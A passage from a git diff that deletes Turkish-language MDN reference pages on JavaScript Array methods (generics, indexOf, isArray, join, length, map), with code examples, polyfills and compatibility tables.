-<h4 id="Accessor_methods">Accessor methods</h4> - -<div>{{page('tr/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype', 'Accessor_methods')}}</div> - -<h4 id="Iteration_methods">Iteration methods</h4> - -<div>{{page('tr/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype', 'Iteration_methods')}}</div> - -<h2 id="Array_generic_methods"><code>Array</code> generic methods</h2> - -<p>Sometimes you would like to apply array methods to strings or other array-like objects (such as function {{jsxref("Functions/arguments", "arguments", "", 1)}}). By doing this, you treat a string as an array of characters (or otherwise treat a non-array as an array). For example, in order to check that every character in the variable <var>str</var> is a letter, you would write:</p> - -<pre class="brush: js notranslate">function isLetter(character) { - return (character >= "a" && character <= "z"); -} - -if (Array.prototype.every.call(str, isLetter)) - alert("The string '" + str + "' contains only letters!"); -</pre> - -<p>This notation is rather wasteful and JavaScript 1.6 introduced a generic shorthand:</p> - -<pre class="brush: js notranslate">if (Array.every(isLetter, str)) - alert("The string '" + str + "' contains only letters!"); -</pre> - -<p>{{jsxref("Global_Objects/String", "Generics", "#String_generic_methods", 1)}} are also available on {{jsxref("Global_Objects/String", "String")}}.</p> - -<p>These are currently not part of ECMAScript standards (though the ES6 {{jsxref("Array.from()")}} can be used to achieve this). The following is a shim to allow its use in all browsers:</p> - -<pre class="brush: js notranslate">// Assumes Array extras already present (one may use polyfills for these as well) -(function () { - 'use strict'; - - var i, - // We could also build the array of methods with the following, but the - // getOwnPropertyNames() method is non-shimable: - // Object.getOwnPropertyNames(Array).filter(function (methodName) {return typeof Array[methodName] === 'function'}); - methods = [ - 'join', 'reverse', 'sort', 'push', 'pop', 'shift', 'unshift', - 'splice', 'concat', 'slice', 'indexOf', 'lastIndexOf', - 'forEach', 'map', 'reduce', 'reduceRight', 'filter', - 'some', 'every', 'isArray' - ], - methodCount = methods.length, - assignArrayGeneric = function (methodName) { - var method = Array.prototype[methodName]; - Array[methodName] = function (arg1) { - return method.apply(arg1, Array.prototype.slice.call(arguments, 1)); - }; - }; - - for (i = 0; i < methodCount; i++) { - assignArrayGeneric(methods[i]); - } -}());</pre> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="Bir_dizi_oluşturmak">Bir dizi oluşturmak</h3> - -<p>Aşağıdaki örnekte uzunluğu [0] olan bir dizi tanımlanıyor(<code>msgArray</code>), daha sonra <code>msgArray[0]</code> ve <code>msgArray[99]</code> indexlerine değer atanıyor ve böylece dizinin uzunluğu 100'e çıkıyor.</p> - -<pre class="brush: js notranslate">var msgArray = new Array(); -msgArray[0] = "Hello"; -msgArray[99] = "world"; - -if (msgArray.length == 100) - print("The length is 100."); -</pre> - -<h3 id="2_boyutlu_dizi_oluşturmak">2 boyutlu dizi oluşturmak</h3> - -<p>Aşağıdaki örnekte elemanları stringler olan 2 boyutlu bir diziden oluşturulmuş satranç tahtası bulunuyor. İlk hamle 'p' elemanının 6,4 indeksinden 4,4 indexine kopyalanarak yapılmış. Eski bulunduğu index olan 6,4 boş olarak işaretlenmiş.</p> - -<pre class="brush: js notranslate">var board = -[ ['R','N','B','Q','K','B','N','R'], - ['P','P','P','P','P','P','P','P'], - [' ',' ',' ',' ',' ',' ',' ',' '], - [' ',' ',' ',' ',' ',' ',' ',' '], - [' ',' ',' ',' ',' ',' ',' ',' '], - [' ',' ',' ',' ',' ',' ',' ',' '], - ['p','p','p','p','p','p','p','p'], - ['r','n','b','q','k','b','n','r']]; -print(board.join('\n') + '\n\n'); - -// Move King's Pawn forward 2 -board[4][4] = board[6][4]; -board[6][4] = ' '; -print(board.join('\n')); -</pre> - -<p>Çıktı:</p> - -<pre class="eval notranslate">R,N,B,Q,K,B,N,R -P,P,P,P,P,P,P,P - , , , , , , , - , , , , , , , - , , , , , , , - , , , , , , , -p,p,p,p,p,p,p,p -r,n,b,q,k,b,n,r - -R,N,B,Q,K,B,N,R -P,P,P,P,P,P,P,P - , , , , , , , - , , , , , , , - , , , ,p, , , - , , , , , , , -p,p,p,p, ,p,p,p -r,n,b,q,k,b,n,r -</pre> - -<h2 id="Tarayıcı_Uyumluluk_Tablosu">Tarayıcı Uyumluluk Tablosu</h2> - -<p>{{Compat("javascript.builtins.Array")}}</p> - -<h2 id="Daha_fazlası">Daha fazlası</h2> - -<ul> - <li><a href="https://github.com/plusdude/array-generics" title="https://github.com/plusdude/array-generics">Polyfill for JavaScript 1.8.5 Array Generics and ECMAScript 5 Array Extras</a></li> - <li><a href="/tr/docs/JavaScript/Guide/Working_with_Objects#Indexing_object_properties" title="JavaScript/Guide/Working_with_objects#Indexing_object_properties">"Indexing object properties" in JavaScript Guide: "Working with objects"</a></li> - <li><a href="/tr/docs/JavaScript/New_in_JavaScript/1.7#Array_comprehensions" title="New_in_JavaScript_1.7#Array_comprehensions">New in JavaScript 1.7: Array comprehensions</a></li> - <li><a href="/tr/docs/JavaScript/New_in_JavaScript/1.6#Array_extras" title="New_in_JavaScript_1.6#Array_extras">New in JavaScript 1.6: Array extras</a></li> - <li><a href="/tr/docs/JavaScript_typed_arrays" title="JavaScript_typed_arrays">Draft: Typed Arrays</a></li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/indexof/index.html b/files/tr/web/javascript/reference/global_objects/array/indexof/index.html deleted file mode 100644 index f53a9980d7..0000000000 --- a/files/tr/web/javascript/reference/global_objects/array/indexof/index.html +++ /dev/null @@ -1,246 +0,0 @@ ---- -title: Array.prototype.indexOf() -slug: Web/JavaScript/Reference/Global_Objects/Array/indexOf -translation_of: Web/JavaScript/Reference/Global_Objects/Array/indexOf ---- -<div>{{JSRef}}</div> - -<p><code><strong>indexOf()</strong></code> metodu, argüman olarak verilen elemanın array de ilk görüldüğü index'i verir. Eğer bu eleman array de bulunmuyorsa -1 değeri döner.</p> - -<pre class="brush: js">var a = [2, 9, 9]; -a.indexOf(2); // 0 -a.indexOf(7); // -1 - -if (a.indexOf(7) === -1) { - // eleman array de bulunmamaktadır. -} -</pre> - -<h2 id="Yazım">Yazım</h2> - -<pre class="syntaxbox"><var>arr</var>.indexOf(<var>aranacakEleman</var>) -<var>arr</var>.indexOf(<var>aranacakEleman</var>, <var>aramayaBaşlanacakİndex</var>) -</pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><var>aranacakEleman</var></dt> - <dd>Array içerisinde aranacak elemanı karşılayacak metod parametresidir.</dd> - <dt><var>aramayaBaşlanacakİndex</var>{{optional_inline}}</dt> - <dd>Aramaya başlanacak index değerini karşılayacak metod parametresidir. Eğer index olarak gönderilmiş argümanın değeri array'in uzunluğuna eşit veya daha büyükse, metod -1 değerini döndürür, bu array'in hiç aranmayacağı anlamına gelmektedir. Eğer argümanın değeri negatif bir değerse bu durumda argüman değeri array'in sonundan offset olarak algılanacaktır. Not: eğer index argümanı negatif ise, array hala baştan sona aranacaktır. Bu durumda elemanın bulunduğu index negatif hesaplanırsa, bütün array baştan aranacaktır. Default: 0 (tüm array baştan aranacaktır).</dd> -</dl> - -<h3 id="Dönüş_değeri">Dönüş değeri</h3> - -<p>Elemanın array de ilk görüldüğü index; eğer eleman bulunamazsa <strong>-1 </strong>dir.</p> - -<h2 id="Açıklama">Açıklama</h2> - -<p><code>indexOf()</code> <var>aranacakEleman'ı </var><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Using_the_Equality_Operators">katı eşitlik</a> ilkesine göre dizi elemanları ile karşılaştırır (aynı yöntem <code>=== </code>veya üç eşittir operatörü tarafından da kullanılır<code>).</code></p> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="indexOf()'u_kullanma"><code>indexOf()'u kullanma</code></h3> - -<p>Aşağıdaki örnekte <code>indexOf()</code> metodu kullanılarak, değerlerin bir dizideki konumları bulunuyor.</p> - -<pre class="brush: js">var array = [2, 9, 9]; -array.indexOf(2); // 0 -array.indexOf(7); // -1 -array.indexOf(9, 2); // 2 -array.indexOf(2, -1); // -1 -array.indexOf(2, -3); // 0 -</pre> - -<h3 id="Bir_öğenin_tüm_konumlarını_bulma">Bir öğenin tüm konumlarını bulma</h3> - -<pre class="brush: js">var indices = []; -var array = ['a', 'b', 'a', 'c', 'a', 'd']; -var element = 'a'; -var idx = array.indexOf(element); -while (idx != -1) { - indices.push(idx); - idx = array.indexOf(element, idx + 1); -} -console.log(indices); -// [0, 2, 4] -</pre> - -<h3 id="Bir_öğenin_dizide_olup_olmadığını_öğrenme_ve_diziyi_güncelleme">Bir öğenin dizide olup olmadığını öğrenme ve diziyi güncelleme</h3> - -<pre class="brush: js">function updateVegetablesCollection (veggies, veggie) { - if (veggies.indexOf(veggie) === -1) { - veggies.push(veggie); - console.log('New veggies collection is : ' + veggies); - } else if (veggies.indexOf(veggie) > -1) { - console.log(veggie + ' already exists in the veggies collection.'); - } -} - -var veggies = ['potato', 'tomato', 'chillies', 'green-pepper']; - -updateVegetablesCollection(veggies, 'spinach'); -// New veggies collection is : potato,tomato,chillies,green-papper,spinach -updateVegetablesCollection(veggies, 'spinach'); -// spinach already exists in the veggies collection. -</pre> - -<h2 id="Polyfill">Polyfill</h2> - -<p><code>indexOf()</code> ECMA-262 standartlarına 5. sürümde eklendi; bu yüzden henüz tüm tarayıcılarda mevcut olmayabilir. Aşağıdaki kod parçasını kendi kodunuzun başına ekleyerek kullanabilirsiniz. Böylelikle <code>indexOf()</code> metodunu tarayıcı desteklemese bile kullanabilirsiniz. Aşağıdaki algoritma {{jsxref("Global_Objects/TypeError", "TypeError")}} ve {{jsxref("Math.abs()")}} öğelerinin orijinal değerlerine sahip olduğu varsayılarak ECMA-262, 5. sürümde belirtilenle eşleşir.</p> - -<pre class="brush: js">// Production steps of ECMA-262, Edition 5, 15.4.4.14 -// Reference: http://es5.github.io/#x15.4.4.14 -if (!Array.prototype.indexOf) { - Array.prototype.indexOf = function(searchElement, fromIndex) { - - var k; - - // 1. Let o be the result of calling ToObject passing - // the this value as the argument. - if (this == null) { - throw new TypeError('"this" is null or not defined'); - } - - var o = Object(this); - - // 2. Let lenValue be the result of calling the Get - // internal method of o with the argument "length". - // 3. Let len be ToUint32(lenValue). - var len = o.length >>> 0; - - // 4. If len is 0, return -1. - if (len === 0) { - return -1; - } - - // 5. If argument fromIndex was passed let n be - // ToInteger(fromIndex); else let n be 0. - var n = fromIndex | 0; - - // 6. If n >= len, return -1. - if (n >= len) { - return -1; - } - - // 7. If n >= 0, then Let k be n. - // 8. Else, n<0, Let k be len - abs(n). - // If k is less than 0, then let k be 0. - k = Math.max(n >= 0 ? n : len - Math.abs(n), 0); - - // 9. Repeat, while k < len - while (k < len) { - // a. Let Pk be ToString(k). - // This is implicit for LHS operands of the in operator - // b. Let kPresent be the result of calling the - // HasProperty internal method of o with argument Pk. - // This step can be combined with c - // c. If kPresent is true, then - // i. Let elementK be the result of calling the Get - // internal method of o with the argument ToString(k). - // ii. Let same be the result of applying the - // Strict Equality Comparison Algorithm to - // searchElement and elementK. - // iii. If same is true, return k. - if (k in o && o[k] === searchElement) { - return k; - } - k++; - } - return -1; - }; -} -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.4.4.14', 'Array.prototype.indexOf')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td>Initial definition. Implemented in JavaScript 1.6.</td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-array.prototype.indexof', 'Array.prototype.indexOf')}}</td> - <td>{{Spec2('ES6')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-array.prototype.indexof', 'Array.prototype.indexOf')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td></td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div>{{CompatibilityTable}}</div> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoDesktop("1.8")}}</td> - <td>{{CompatIE("9")}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoMobile("1.8")}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="Compatibility_notes">Compatibility notes</h2> - -<ul> - <li>Starting with Firefox 47 {{geckoRelease(47)}}, this method will no longer return <code>-0</code>. For example, <code>[0].indexOf(0, -0)</code> will now always return <code>+0</code> ({{bug(1242043)}}).</li> -</ul> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{jsxref("Array.prototype.lastIndexOf()")}}</li> - <li>{{jsxref("TypedArray.prototype.indexOf()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/isarray/index.html b/files/tr/web/javascript/reference/global_objects/array/isarray/index.html deleted file mode 100644 index aafa47718c..0000000000 --- a/files/tr/web/javascript/reference/global_objects/array/isarray/index.html +++ /dev/null @@ -1,154 +0,0 @@ ---- -title: Array.isArray() -slug: Web/JavaScript/Reference/Global_Objects/Array/isArray -tags: - - Dizi - - dizi kontrol -translation_of: Web/JavaScript/Reference/Global_Objects/Array/isArray ---- -<div>{{JSRef}}</div> - -<p><code><strong>Array.isArray()</strong></code> metodu değerin Array olup olmadığını kontrol eder. </p> - -<h2 id="Söz_dizimi">Söz dizimi</h2> - -<pre class="syntaxbox"><code>Array.isArray(<var>obj</var>)</code></pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code>obj</code></dt> - <dd>Kontrol edilecek nesne.</dd> -</dl> - -<h2 id="Açıklamalar">Açıklamalar</h2> - -<p>Nesne eğer {{jsxref("Array")}} ise <code>true</code> değilse <code>false </code>döndürür<code>.</code></p> - -<p>Daha fazla detay için makaleye göz atın: <a href="http://web.mit.edu/jwalden/www/isArray.html">“Determining with absolute accuracy whether or not a JavaScript object is an array”</a> </p> - -<h2 id="Örnekler">Örnekler</h2> - -<pre class="brush: js">// Aşağıdaki tüm örnekler true döndürür -Array.isArray([]); -Array.isArray([1]); -Array.isArray(new Array()); -// Az bilinen gerçek: Array.prototype bir dizinin kendisidir: -Array.isArray(Array.prototype); - -// Aşağıdaki tüm örnekler false döndürür -Array.isArray(); -Array.isArray({}); -Array.isArray(null); -Array.isArray(undefined); -Array.isArray(17); -Array.isArray('Array'); -Array.isArray(true); -Array.isArray(false); -Array.isArray({ __proto__: Array.prototype }); -</pre> - -<h2 id="Kod_Parçası">Kod Parçası</h2> - -<p>Aşağıdaki kod, diğer kodlardan önce çalıştırılırsa; doğal olarak var olmaması durumunda Array.isArray() 'i oluşturacaktır.</p> - -<pre class="brush: js">if (!Array.isArray) { - Array.isArray = function(arg) { - return Object.prototype.toString.call(arg) === '[object Array]'; - }; -} -</pre> - -<h2 id="Tanımlamalar">Tanımlamalar</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Tanımlama</th> - <th scope="col">Durum</th> - <th scope="col">Açıklama</th> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.4.3.2', 'Array.isArray')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td>İlk tanım. JavaScript 1.8.5 sürümünde uygulamaya koyuldu.</td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-array.isarray', 'Array.isArray')}}</td> - <td>{{Spec2('ES6')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-array.isarray', 'Array.isArray')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - -<h2 id="CompatibilityTable"><span style="font-size: 14px; font-weight: normal; line-height: 1.5;">{{CompatibilityTable}}</span></h2> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Temel Destek</td> - <td>{{CompatChrome("5")}}</td> - <td>{{CompatGeckoDesktop("2.0")}}</td> - <td>{{CompatIE("9")}}</td> - <td>{{CompatOpera("10.5")}}</td> - <td>{{CompatSafari("5")}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Özellik</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td> - <table class="compat-table"> - <tbody> - <tr> - <td>Temel Destek</td> - <td> </td> - </tr> - </tbody> - </table> - </td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoMobile("2.0")}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<ul> - <li>{{jsxref("Array")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/join/index.html b/files/tr/web/javascript/reference/global_objects/array/join/index.html deleted file mode 100644 index 37d876dc97..0000000000 --- a/files/tr/web/javascript/reference/global_objects/array/join/index.html +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: Array.prototype.join() -slug: Web/JavaScript/Reference/Global_Objects/Array/join -translation_of: Web/JavaScript/Reference/Global_Objects/Array/join ---- -<div>{{JSRef}}</div> - -<p><span class="seoSummary"><code><strong>join()</strong></code> metodu bir array içerisinde yer alan bütün elemanları birleştirerek string bir ifade olarak geri döndürür. (veya <a href="/en-US/docs//en-US/docs/Web/JavaScript/Guide/Indexed_collections#Working_with_array-like_objects">array benzeri bir obje</a> olarak) Elemanlar varsayılan olarak virgül ile ayıracı ile ayrılır. İsteğe bağlı olarak elementleri birbirinden ayırmak için farklı ayıraçlar da kullanılabilir.</span></p> - -<div>{{EmbedInteractiveExample("pages/js/array-join.html")}}</div> - - - -<h2 id="Sözdizimi_(Syntax)">Sözdizimi (Syntax)</h2> - -<pre class="syntaxbox"><var>arr</var>.join([<var>separator</var>])</pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code>ayıraç</code> {{optional_inline}}</dt> - <dd>Bir diziye (array) ait elemanları birleştirerek string bir ifade haline getiir. Dizi içinde yer alan elamanları birbirine bağlarken istediğiniz ifadeyi ayıraç olarak kullanabilirsiniz. Eğer ayıraç kullanılmaz ise varsayılan ayıraç olarak virgül kullanılır. Eğer ayıraç olarak boş ifade ("") kullanılırsa, bütün dizinin bütün elemanları birbirine bitişik olacak şekilde dönüştürülür.</dd> -</dl> - -<p>String ifade oluşturulurken dizi (array) içerisinde yer alan bütün elemanlar kullanılır. Eğer array içerisinde eleman yok ise (array.length değeri sıfıra eşit ise) join metodu boş string ("") döndürür.</p> - -<h2 id="Açıklamalar">Açıklamalar</h2> - -<p>Dizi (array) içerisinde yer alan bütün elemanları tek bir ifade (string) haline getirir.</p> - -<p> </p> - -<div class="warning"> -<p>Eğer dizi içerisinde yer alan elemanlardan birinin değeri <code>undefined</code> veya <code>null</code> ise, o eleman boş ifadeye ("") dönüştürülür.</p> -</div> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="Bir_arrayi_birleştirmenin_dört_farklı_yolu">Bir arrayi birleştirmenin dört farklı yolu</h3> - -<p>Aşağıda yer alan örnekte örnekte üç elemandan oluşan <strong>a</strong> dizisi oluşturup, farklı ayıraçlar kullanarak dört defa birleştirdik. İlk örnekte hiç bir ayıraç kullanmadık, ikinci örnekte virgül ve boşluk, üçüncü örnekte boşluk ve + işareti, son örnekte ise boş ifade (string) değeri kullandık</p> - -<pre class="brush: js">var a = ['Rüzgar', 'Yağmur', 'Ateş']; -a.join(); // 'Rüzgar,Yağmur,Ateş' -a.join(', '); // 'Rüzgar, Yağmur, Ateş' -a.join(' + '); // 'Rüzgar + Yağmur + Ateş' -a.join(''); // 'RüzgarYağmurAteş'</pre> - -<h3 id="Array_benzeri_obje_nasıl_birleştirlir">Array benzeri obje nasıl birleştirlir ?</h3> - -<p>Aşağıda yer alan örnekte array benzeri obje olarak bilinen (<code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">a</a>rgümanlar</code>), yapıyı <code>Array.prototype.join</code> üzerinden call {{jsxref("Function.prototype.call")}} metodu kullanarak birleştireceğiz. </p> - -<pre class="brush: js">function f(a, b, c) { - var s = Array.prototype.join.call(arguments); - console.log(s); // '<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-string">1,a,true'</span></span></span></span> -} -f(1, 'a', true); -//expected output: "1,a,true" -</pre> - -<h2 id="Özellikler">Özellikler</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('ES1')}}</td> - <td>{{Spec2('ES1')}}</td> - <td>Initial definition. Implemented in JavaScript 1.1.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.4.4.5', 'Array.prototype.join')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-array.prototype.join', 'Array.prototype.join')}}</td> - <td>{{Spec2('ES6')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-array.prototype.join', 'Array.prototype.join')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> - -<div class="hidden">Uyumluluk tablosu yapılandırılmış verilerden oluşmaktadır. Eğer bu verilere katkıda bulunmak isterseniz <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> linkinde yer alan repository'i açın ve bize pull request gönderin.</div> - -<p>{{Compat("javascript.builtins.Array.join")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{jsxref("String.prototype.split()")}}</li> - <li>{{jsxref("Array.prototype.toString()")}}</li> - <li>{{jsxref("TypedArray.prototype.join()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/length/index.html b/files/tr/web/javascript/reference/global_objects/array/length/index.html deleted file mode 100644 index b0ff9d264b..0000000000 --- a/files/tr/web/javascript/reference/global_objects/array/length/index.html +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: Array.length -slug: Web/JavaScript/Reference/Global_Objects/Array/length -tags: - - Dizi - - dizi uzunluğu - - uzunluk -translation_of: Web/JavaScript/Reference/Global_Objects/Array/length ---- -<div>{{JSRef}}</div> - -<div>Dizinin <code><strong>length</strong></code> özelliği -yani uzunluğu-, bir dizideki öğe sayısını döndürür veya ayarlar. 32-bit işaretsiz bir tam sayı (integer) ile ifade edilir, sayısal değeri her zaman dizinin en yüksek değerli index'inden büyüktür.</div> - -<div> </div> - -<pre class="brush: js">var elemanlar = ["ayakkabılar", "gömlekler", "çoraplar", "kazaklar"]; -elemanlar.length; - -// 4 döndürür</pre> - -<h2 id="Açıklama">Açıklama</h2> - -<p>Uzunluk(length) özellik değeri, artı işaretli bir tam sayıdır ve değeri 2'nin 32. kuvvetinden küçüktür (2<sup>32</sup>).</p> - -<p><code>Uzunluk(length)</code> özellik değerini ayarlayarak bir diziyi istenen bir zamanda budayabilirsiniz. Bir diziyi <code>length</code> özelliğini ayarlayarak genişletirseniz, asıl öğe sayısı artmayacaktır; örneğin, uzunluğu 2 olan dizinin uzunluğunu 3 olarak ayarlarsanız, dizide hala 2 eleman olacaktır. Bu durumda, <code>length</code> özelliğinin her zaman dizideki tanımlı öğe sayısını göstermesi şart değildir. Ayrıca bkz. <a href="https://developer.mozilla.org/tr/docs/Web/JavaScript/Reference/Global_Objects/Array#Bir_diziyi_eşleşen_bir_sonuç_ile_oluşturmak" rel="internal">Bir diziyi eşleşen bir sonuç ile oluşturmak</a>.</p> - -<p>{{js_property_attributes(1, 0, 0)}}</p> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="Bir_dizi_üzerinde_gezinim">Bir dizi üzerinde gezinim</h3> - -<p>Aşağıdaki örnekte, <code>numaralar</code> dizisinde, <code>length</code> özelliği kullanılarak gezinim yapılıyor. Her öğe değeri ikiye katlanıyor.</p> - -<pre class="brush: js">var numaralar = [1, 2, 3, 4, 5]; -var uzunluk = numaralar.length; -for (var i = 0; i < uzunluk; i++) { - numaralar[i] *= 2; -} -// numaralar şimdi [2, 4, 6, 8, 10] şeklindedir -</pre> - -<h3 id="Bir_diziyi_kısaltmak">Bir diziyi kısaltmak</h3> - -<p>Aşağıdaki örnekte <code>numaralar</code> dizi uzunluğu 3'ten büyükse, dizi kısaltılıyor.</p> - -<pre class="brush: js">var numaralar = [1, 2, 3, 4, 5]; - -if (numaralar.length > 3) { - numaralar.length = 3; -} - -console.log(numaralar); // [1, 2, 3] -console.log(numaralar.length); // 3 -</pre> - -<h2 id="Tanımlamalar">Tanımlamalar</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Tanımlama</th> - <th scope="col">Durum</th> - <th scope="col">Yorum</th> - </tr> - <tr> - <td>{{SpecName('ES1')}}</td> - <td>{{Spec2('ES1')}}</td> - <td>İlk tanım.</td> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.4.5.2', 'Array.length')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-properties-of-array-instances-length', 'Array.length')}}</td> - <td>{{Spec2('ES6')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-properties-of-array-instances-length', 'Array.length')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - -<div>{{CompatibilityTable}}</div> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<ul> - <li>{{jsxref("Array")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/map/index.html b/files/tr/web/javascript/reference/global_objects/array/map/index.html deleted file mode 100644 index 0c8d66f4de..0000000000 --- a/files/tr/web/javascript/reference/global_objects/array/map/index.html +++ /dev/null @@ -1,307 +0,0 @@ ---- -title: Array.prototype.map() -slug: Web/JavaScript/Reference/Global_Objects/Array/map -translation_of: Web/JavaScript/Reference/Global_Objects/Array/map ---- -<div>{{JSRef}}</div> - -<p><code><strong>map()</strong></code> , dizinin her elemanı için, parametre olarak verilen fonksiyonu çağırır ve oluşan sonuçlarla da yeni bir dizi oluşturur.</p> - -<div>{{EmbedInteractiveExample("pages/js/array-map.html")}}</div> - - - -<h2 id="Sözdizimi">Sözdizimi</h2> - -<pre class="syntaxbox"><var>var new_array = arr</var>.map(function <var>callback(currentValue[, index[, array]]) { - // Return element for new_array -}</var>[, <var>thisArg</var>])</pre> - -<h3 id="Parameters">Parameters</h3> - -<dl> - <dt><code>callback</code></dt> - <dd>Yeni oluşan dizinin elemanlarını döndürdüğü değerlerle oluşturur, üç parametre alır: - <dl> - <dt> </dt> - <dt><code>currentValue</code></dt> - <dd>Dizinin o anda işlem yapılan elemanı.</dd> - <dt><code>index</code>{{optional_inline}}</dt> - <dd>Dizinin o anda işlem yapılan elemanının indeksi.</dd> - <dt><code>array</code>{{optional_inline}}</dt> - <dd><code>map</code> tarafından çağırılan dizi.</dd> - </dl> - </dd> - <dt><code>thisArg</code>{{optional_inline}}</dt> - <dd><code>callback</code> fonsiyonu çalışırken kullanacağı <code>this</code> değeri.</dd> -</dl> - -<h3 id="Return_value">Return value</h3> - -<p>Elemanları, <code>callback</code> 